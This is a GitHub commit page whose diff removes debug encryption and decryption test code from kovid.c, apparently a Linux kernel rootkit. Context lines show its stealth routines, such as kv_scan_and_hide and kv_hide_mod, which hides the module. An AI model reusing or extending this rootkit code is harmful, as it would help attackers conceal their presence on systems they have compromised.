Skip to content

Commit

Permalink
crypto: Remove crypto debug code
Browse files Browse the repository at this point in the history
  • Loading branch information
JNE committed Dec 1, 2024
1 parent 4ec1908 commit f09aefe
Showing 1 changed file with 0 additions and 39 deletions.
39 changes: 0 additions & 39 deletions src/kovid.c
Original file line number Diff line number Diff line change
Expand Up @@ -68,9 +68,6 @@ static unsigned int op_lock;
static DEFINE_MUTEX(prc_mtx);
static DEFINE_SPINLOCK(elfbits_spin);

//XXX debug
static struct kv_crypto_st *kvmgc0, *kvmgc1;

/** gcc - fuck 32 bits shit (for now!) */
#ifndef __x86_64__
#error "fuuuuuu Support is only for x86-64"
Expand Down Expand Up @@ -826,25 +823,6 @@ static int __init kv_init(void) {

kv_scan_and_hide();

/** debug */
kvmgc0 =crypto_init();
if (kvmgc0) {
size_t datalen = 64;
u8 buf[datalen];
memset(buf, 'A', datalen);
kv_encrypt(kvmgc0, buf, datalen);
}

kvmgc1 =crypto_init();
if (kvmgc1) {
size_t datalen = 64;
u8 buf[datalen];

/** go random this time */
get_random_bytes(buf, datalen);
kv_encrypt(kvmgc1, buf, datalen);
}

#ifndef DEBUG_RING_BUFFER
kv_hide_mod();
op_lock = 1;
Expand Down Expand Up @@ -873,18 +851,7 @@ static int __init kv_init(void) {
return rv;
}

/** example decrypt */
void _decrypt_callback(const u8 * const buf, size_t buflen, size_t copied, void *userdata) {
if (userdata) {
char *name = (char*)userdata;
prinfo("Called from: '%s'\n", name);
}
print_hex_dump(KERN_DEBUG, "decrypted text: ",
DUMP_PREFIX_NONE, 16, 1, buf, buflen, true);
}

static void __exit kv_cleanup(void) {
decrypt_callback cb = (decrypt_callback)_decrypt_callback;

sys_deinit();
kv_pid_cleanup();
Expand All @@ -908,12 +875,6 @@ static void __exit kv_cleanup(void) {

fs_names_cleanup();

/** debug */
kv_decrypt(kvmgc0, cb, "debug: kvmgc0");
kv_decrypt(kvmgc1, cb, "debug: kvmgc1");

kv_crypto_mgc_deinit(kvmgc0);
kv_crypto_mgc_deinit(kvmgc1);
kv_crypto_deinit();

prinfo("unloaded.\n");
Expand Down

0 comments on commit f09aefe

Please sign in to comment.